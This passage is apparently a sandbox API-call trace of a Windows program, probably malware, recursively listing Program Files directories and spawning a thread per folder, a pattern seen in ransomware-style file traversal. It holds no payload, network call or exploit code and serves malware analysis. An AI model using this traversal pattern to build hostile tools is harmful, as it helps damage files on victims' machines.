(x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.611] wcscat (in: _Dest=0x8e4000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.611] wcscat (in: _Dest=0x8e4000, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\*") returned="C:\\Program Files (x86)\\Common Files\\*" [0139.611] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd8a8 [0139.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9cd0 [0139.612] wcscmp (_String1=".", _String2=".") returned 0 [0139.612] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.612] wcscmp (_String1="..", _String2=".") returned 1 [0139.612] wcscmp (_String1="..", _String2="..") returned 0 [0139.612] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0139.612] wcscmp (_String1="Adobe", _String2=".") returned 1 [0139.612] wcscmp (_String1="Adobe", _String2="..") returned 1 [0139.612] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8f6ff0 [0139.612] wcscpy (in: _Dest=0x8f6ff0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.612] wcscat (in: _Dest=0x8f6ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.612] wcscat (in: _Dest=0x8f6ff0, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0139.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0139.613] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0139.613] wcscmp (_String1="Java", _String2=".") returned 1 [0139.613] wcscmp (_String1="Java", _String2="..") returned 1 [0139.613] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x52) returned 0x8feb08 [0139.613] wcscpy (in: _Dest=0x8feb08, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.613] wcscat (in: _Dest=0x8feb08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.613] wcscat (in: _Dest=0x8feb08, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0139.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8feb08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0139.614] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0139.614] wcscmp (_String1="microsoft shared", _String2=".") returned 1 [0139.614] wcscmp (_String1="microsoft shared", _String2="..") returned 1 [0139.614] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8800 [0139.614] wcscpy (in: _Dest=0x8e8800, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.614] wcscat (in: _Dest=0x8e8800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.614] wcscat (in: _Dest=0x8e8800, _Source="microsoft shared" | out: _Dest="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0139.614] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0139.615] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0139.615] wcscmp (_String1="Services", _String2=".") returned 1 [0139.615] wcscmp (_String1="Services", _String2="..") returned 1 [0139.615] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8feb68 [0139.615] wcscpy (in: _Dest=0x8feb68, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.615] wcscat (in: _Dest=0x8feb68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.615] wcscat (in: _Dest=0x8feb68, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0139.615] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8feb68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0139.616] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0139.616] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0139.616] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0139.616] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f0e28 [0139.616] wcscpy (in: _Dest=0x8f0e28, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.616] wcscat (in: _Dest=0x8f0e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.616] wcscat (in: _Dest=0x8f0e28, _Source="SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0139.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0139.617] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0139.617] wcscmp (_String1="System", _String2=".") returned 1 [0139.617] wcscmp (_String1="System", _String2="..") returned 1 [0139.617] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8febd0 [0139.617] wcscpy (in: _Dest=0x8febd0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0139.617] wcscat (in: _Dest=0x8febd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0139.617] wcscat (in: _Dest=0x8febd0, _Source="System" | out: _Dest="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0139.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8febd0) returned 1 [0139.617] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0139.617] FindClose (in: hFindFile=0x8d9cd0 | out: hFindFile=0x8d9cd0) returned 1 [0139.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd8a8) returned 1 [0139.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4000) returned 1 [0139.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9148) returned 1 Thread: id = 1643 os_tid = 0x738 [0139.619] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2548 [0139.619] wcscpy (in: _Dest=0x8d2548, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0139.619] wcscat (in: _Dest=0x8d2548, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0139.619] wcscat (in: _Dest=0x8d2548, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\*") returned="C:\\Program Files (x86)\\Google\\*" [0139.619] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd8a8 [0139.619] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9cd0 [0139.619] wcscmp (_String1=".", _String2=".") returned 0 [0139.619] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.619] wcscmp (_String1="..", _String2=".") returned 1 [0139.619] wcscmp (_String1="..", _String2="..") returned 0 [0139.619] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0139.620] wcscmp (_String1="Chrome", _String2=".") returned 1 [0139.620] wcscmp (_String1="Chrome", _String2="..") returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e4000 [0139.620] wcscpy (in: _Dest=0x8e4000, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0139.620] wcscat (in: _Dest=0x8e4000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0139.620] wcscat (in: _Dest=0x8e4000, _Source="Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0139.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e4000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0139.621] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0139.621] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0139.621] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0139.621] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8febe8 [0139.621] wcscpy (in: _Dest=0x8febe8, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0139.621] wcscat (in: _Dest=0x8febe8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0139.621] wcscat (in: _Dest=0x8febe8, _Source="CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0139.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8febe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268 [0139.622] FindNextFileW (in: hFindFile=0x8d9cd0, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0139.622] FindClose (in: hFindFile=0x8d9cd0 | out: hFindFile=0x8d9cd0) returned 1 [0139.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd8a8) returned 1 [0139.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0139.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2590) returned 1 Thread: id = 1644 os_tid = 0x758 [0139.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3c) returned 0x8d2590 [0139.623] wcscpy (in: _Dest=0x8d2590, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0139.623] wcscat (in: _Dest=0x8d2590, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0139.623] wcscat (in: _Dest=0x8d2590, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\*") returned="C:\\Program Files (x86)\\Java\\*" [0139.623] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fd8a8 [0139.623] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f70 [0140.670] wcscmp (_String1=".", _String2=".") returned 0 [0140.670] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.670] wcscmp (_String1="..", _String2=".") returned 1 [0140.670] wcscmp (_String1="..", _String2="..") returned 0 [0140.670] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa38ac920, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38ac920, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0140.670] wcscmp (_String1="jre7", _String2=".") returned 1 [0140.670] wcscmp (_String1="jre7", _String2="..") returned 1 [0140.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8f9828 [0140.670] wcscpy (in: _Dest=0x8f9828, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0140.670] wcscat (in: _Dest=0x8f9828, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0140.670] wcscat (in: _Dest=0x8f9828, _Source="jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0141.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f9828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0141.320] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x8fd8a8 | out: lpFindFileData=0x8fd8a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa38ac920, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa38ac920, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 0 [0141.320] FindClose (in: hFindFile=0x941f70 | out: hFindFile=0x941f70) returned 1 [0141.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fd8a8) returned 1 [0141.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2590) returned 1 [0141.320] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d9b90) returned 1 Thread: id = 1645 os_tid = 0x75c [0139.624] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8800 [0139.624] wcscpy (in: _Dest=0x8e8800, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0139.624] wcscat (in: _Dest=0x8e8800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0139.624] wcscat (in: _Dest=0x8e8800, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\*" [0139.624] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8fdf38 [0139.624] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x8fdf38 | out: lpFindFileData=0x8fdf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941fb0 [0140.670] wcscmp (_String1=".", _String2=".") returned 0 [0140.670] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x8fdf38 | out: lpFindFileData=0x8fdf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.670] wcscmp (_String1="..", _String2=".") returned 1 [0140.670] wcscmp (_String1="..", _String2="..") returned 0 [0140.670] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x8fdf38 | out: lpFindFileData=0x8fdf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0140.670] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0140.670] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0140.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x78) returned 0x8cfd80 [0140.670] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0140.670] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0140.671] wcscat (in: _Dest=0x8cfd80, _Source="AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0141.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac [0141.322] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x8fdf38 | out: lpFindFileData=0x8fdf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e11f510, ftCreationTime.dwHighDateTime=0x1d583f9, ftLastAccessTime.dwLowDateTime=0x4b2fff30, ftLastAccessTime.dwHighDateTime=0x1d58193, ftLastWriteTime.dwLowDateTime=0x4b2fff30, ftLastWriteTime.dwHighDateTime=0x1d58193, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructed_deeply.exe", cAlternateFileName="CONSTR~1.EXE")) returned 1 [0141.322] wcscmp (_String1="constructed_deeply.exe", _String2=".") returned 1 [0141.322] wcscmp (_String1="constructed_deeply.exe", _String2="..") returned 1 [0141.322] FindNextFileW (in: hFindFile=0x941fb0, lpFindFileData=0x8fdf38 | out: lpFindFileData=0x8fdf38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e11f510, ftCreationTime.dwHighDateTime=0x1d583f9, ftLastAccessTime.dwLowDateTime=0x4b2fff30, ftLastAccessTime.dwHighDateTime=0x1d58193, ftLastWriteTime.dwLowDateTime=0x4b2fff30, ftLastWriteTime.dwHighDateTime=0x1d58193, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="constructed_deeply.exe", 